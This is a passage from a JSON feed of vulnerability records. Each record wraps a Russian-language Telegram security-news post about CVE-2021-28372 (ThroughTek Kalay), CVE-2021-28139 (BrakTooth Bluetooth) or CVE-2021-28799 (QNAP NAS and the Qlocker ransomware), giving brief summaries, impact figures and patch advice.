\u0441\u0435\u0442\u0435\u0439 \u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0414\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0441\u0435\u0442\u044c ThroughTek Kalay. \u0421\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e\u0431 \u0443\u0433\u0440\u043e\u0437\u0430\u0445 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Mandiant \u0432 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u0447\u0435\u0441\u0442\u0432\u0435 \u0441 \u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e\u043c \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b (CISA) \u0438 ThroughTek.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0441\u043f\u0435\u0446\u043e\u0432, \u043a\u0440\u043e\u043c\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432\u0438\u0434\u0435\u043e \u0438 \u0430\u0443\u0434\u0438\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u043c\u0435\u044e\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0431\u043e\u0442-\u0441\u0435\u0442\u0438 \u0438\u0437 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0445 \u0430\u0442\u0430\u043a. \u0423\u0433\u0440\u043e\u0437\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043e 83 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0445 \u043a \u0441\u0435\u0442\u0438 Kalay.\n\n\u041a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f IoT-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0443\u0442\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 UID \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 Kalay, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0432\u0435\u0440\u0441 \u0432\u0435\u0431-API \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445\u00a0 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043d\u0430 Google Play \u0438 Apple Store. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e UID \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d \u0430\u0442\u0430\u043a\u0435 Brute Force. \u041f\u043e\u043b\u0443\u0447\u0438\u0432 UID, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0441\u0435\u0442\u0438 Kalay, \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u0438\u0432 \u0442\u0440\u0430\u0444\u0438\u043a \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\n\u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0430\u0440\u043a\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2021-28372 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 9,6 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u043a\u0430\u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e. \u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0438 \u0441\u0435\u0442\u0435\u0439 \u043e\u0442 \u0430\u0442\u0430\u043a \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Kalay 3.1.10.", "creation_timestamp": "2021-08-18T16:01:39.000000Z"}, {"uuid": "ecab1fdf-d5ce-4b8c-a10d-f20250cee9aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28139", "type": "published-proof-of-concept", "source": "https://t.me/NeKaspersky/1434", "content": "Bluetooth-\u0434\u0435\u0432\u0430\u0439\u0441\u0430\u043c \u0441\u043d\u043e\u0432\u0430 \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\n\n\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f \u0421\u0438\u043d\u0433\u0430\u043f\u0443\u0440\u0441\u043a\u0438\u0439 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0438 \u0434\u0438\u0437\u0430\u0439\u043d\u0430 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e 20 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445, \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u044e\u0449\u0438\u0445 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 bluetooth-\u0447\u0438\u043f\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u0439. \u0421\u0430\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u043f\u0430\u0441\u043d\u044b \u0442\u0435\u043c, \u0447\u0442\u043e \u0438\u043c\u0435\u044e\u0442 \u0440\u044f\u0434 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0442 \u043d\u0435\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0437\u0430\u0432\u0438\u0441\u0430\u043d\u0438\u044f \u0438\u043b\u0438 \u0441\u0431\u043e\u044f \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0433\u043e \u0447\u0438\u043f\u0430, \u0434\u043e \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0412\u0441\u0435 20 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0439 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 Link Management Protocol, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043c\u0435\u0436\u0434\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438. \n\n\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 BrakTooth \u0438\u043c\u0435\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c CVE-2021-28139, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0441\u0432\u043e\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c Bluetooth LMP. \u0410\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e \u0432\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0434\u0438\u0441\u0442\u0430\u043d\u0446\u0438\u043e\u043d\u043d\u043e, \u043d\u043e \u043d\u0443\u0436\u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u0437\u043d\u0430\u0442\u044c \u0435\u0433\u043e \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 (BD_ADDR/\u0438\u043d\u043e\u0433\u0434\u0430 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0439 Bluetooth MAC Address \u0438\u0437-\u0437\u0430 \u0441\u0445\u043e\u0434\u0441\u0442\u0432\u0430 \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c\u0438 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 Wi-Fi).\n\n\u041d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u043d\u0430 GitHub \u0431\u044b\u043b \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f BrakTooth. \u0414\u043b\u044f \u0435\u0433\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0442 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f BT(ESP-WROVER-KIT),\u0447\u0442\u043e\u0431\u044b \u0438\u043c\u0435\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0443, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0430\u043a\u0435\u0442\u044b LMP \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0441 \u0445\u043e\u0441\u0442\u0430 \u0432 \u043e\u0431\u044b\u0447\u043d\u043e\u043c \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0438 Bluetooth \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043f\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435. \u041e\u043d \u0431\u044b\u043b \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0434\u043b\u044f \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0430\u043a \u0447\u0442\u043e \u0438\u0433\u0440\u0430\u0442\u044c \u0441 \u043d\u0438\u043c \u0441\u0442\u043e\u0438\u0442 \u043d\u0430 \u0441\u0432\u043e\u0439 \u0441\u0442\u0440\u0430\u0445 \u0438 \u0440\u0438\u0441\u043a.\n\n\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445  bluetooth-\u0447\u0438\u043f\u043e\u0432 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u00ab\u043f\u043e \u0432\u043e\u0437\u0434\u0443\u0445\u0443\u00bb, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u044b\u0441\u043e\u043a\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u0438 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0441\u0442\u0430\u043d\u0443\u0442\u0441\u044f \u0441 \u043d\u0430\u043c\u0438 \u043d\u0430\u0432\u0441\u0435\u0433\u0434\u0430 \u043d\u0430 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043b\u0438\u0431\u043e \u0436\u0434\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u0442\u0447\u0438 \u043d\u0430 \u043d\u043e\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445, \u043b\u0438\u0431\u043e \u0441\u043c\u0438\u0440\u0438\u0442\u044c\u0441\u044f \u0438 \u043d\u0430\u0434\u0435\u044f\u0442\u044c\u0441\u044f, \u043d\u0430 \u00ab\u0430\u0432\u043e\u0441\u044c \u043f\u043e\u0432\u0435\u0437\u0435\u0442\u00bb.", "creation_timestamp": "2021-11-10T11:54:58.000000Z"}, {"uuid": "7ed40ae9-0add-450f-8fc7-9de010af3104", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "exploited", "source": "https://t.me/true_secator/2524", "content": "\u0411\u043e\u043b\u044c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u0432 NAS-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 QNAP \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f.\n \nQlocker \u0432\u043d\u043e\u0432\u044c \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 QNAP Network Attached Storage (NAS) \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443. \u041d\u043e\u0432\u0430\u044f ransomware-\u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f QLocker2 \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u0430\u043b\u0430 6 \u044f\u043d\u0432\u0430\u0440\u044f. \u0412\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u0435\u0442\u0438\u0442\u044c \u0441\u0430\u0439\u0442 \u0432 Tor \u0438 \u0443\u0437\u043d\u0430\u0442\u044c \u0441\u0443\u043c\u043c\u0443 \u0432\u044b\u043a\u0443\u043f\u0430, \u0437\u0430\u043f\u0438\u0441\u043a\u0430 \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e \u043f\u0440\u0438\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u0438\u0434\u0435 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 !!!READ_ME.txt.\n \n\u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, QLocker2 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0435\u0442 \u0432\u0441\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 NAS \u0432 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0435\u043c \u0430\u0440\u0445\u0438\u0432\u044b 7z \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0443\u043f\u043b\u0430\u0442\u044b \u0432\u044b\u043a\u0443\u043f\u0430. \u041a\u0430\u043a \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u044b\u044f\u0441\u043d\u0438\u0442\u044c, \u0441\u0443\u043c\u043c\u0430 \u0432\u044b\u043a\u0443\u043f\u0430 \u0432\u0430\u0440\u044c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0435 \u043e\u0442 0,02 \u0434\u043e 0,03 \u0431\u0438\u0442\u043a\u043e\u0439\u043d\u043e\u0432.\n \n\u041d\u0430\u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e \u0432 \u043a\u043e\u043d\u0446\u0435 \u0430\u043f\u0440\u0435\u043b\u044f \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u043e \u043d\u043e\u0432\u044b\u0439 \u0448\u0442\u0430\u043c\u043c ransomware \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Qlocker, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0435\u0436\u0435\u0434\u043d\u0435\u0432\u043d\u043e \u0437\u0430\u0440\u0430\u0436\u0430\u043b\u0430 \u0441\u043e\u0442\u043d\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 QNAP NAS. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 CVE-2021-28799, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0433\u043b\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0438\u043c \u0432\u043e\u0439\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 NAS.\n \n\u041f\u043e\u0445\u043e\u0436\u0435 \u0432 \u043c\u0430\u0435 \u0442\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u0438\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a QNAP \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e\u0431 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0430\u0432\u0430\u0440\u0438\u0439\u043d\u043e\u0433\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f HBS 3, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0433\u043e \u043d\u0430 \u0438\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0430\u0445 (NAS), \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f Qlocker.\n \n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2021 \u0433\u043e\u0434\u0430 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0438\u0437 Intezer \u0438 Anomali \u0432\u044b\u044f\u0432\u043b\u044f\u043b\u0438 \u0435\u0449\u0435 \u043e\u0434\u043d\u0443 \u0432\u043e\u043b\u043d\u0443 \u0430\u0442\u0430\u043a ech0raix. \u041c\u0430\u043b\u0432\u0430\u0440\u044c \u0431\u044b\u043b\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u0430 \u043f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435 \u0441 2019 \u0433\u043e\u0434\u0430 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f Roon Server.\n \n\u041f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u0432 \u044d\u0442\u043e\u043c \u0433\u043e\u0434\u0443 \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u043d\u043e\u0432\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f QLocker2. \u041f\u043e\u043a\u0430 \u043d\u0435 \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0435\u043c \u043e\u043d\u0430 \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u043d\u043e \u043f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a NAS \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f. \u041d\u043e\u0432\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u0442\u043e\u0436\u0435 \u043d\u0435 \u043f\u043e\u043c\u043e\u0433\u0430\u044e\u0442.\n \n\u041a \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0432 \u0441\u043b\u0443\u0436\u0431\u0443 ID-Ransomware \u0441\u0442\u0430\u043b\u0438 \u043f\u043e\u0441\u0442\u0443\u043f\u0430\u0442\u044c \u0441\u043e\u0442\u043d\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043e\u0442 \u0436\u0435\u0440\u0442\u0432 QLocker2. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0432 \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0440\u0430\u0437 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 QNAP \u043f\u043e\u0442\u0435\u0440\u044f\u043b\u0438 \u043e\u043a\u043e\u043b\u043e 350 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043e\u0434\u043d\u043e\u0433\u043e 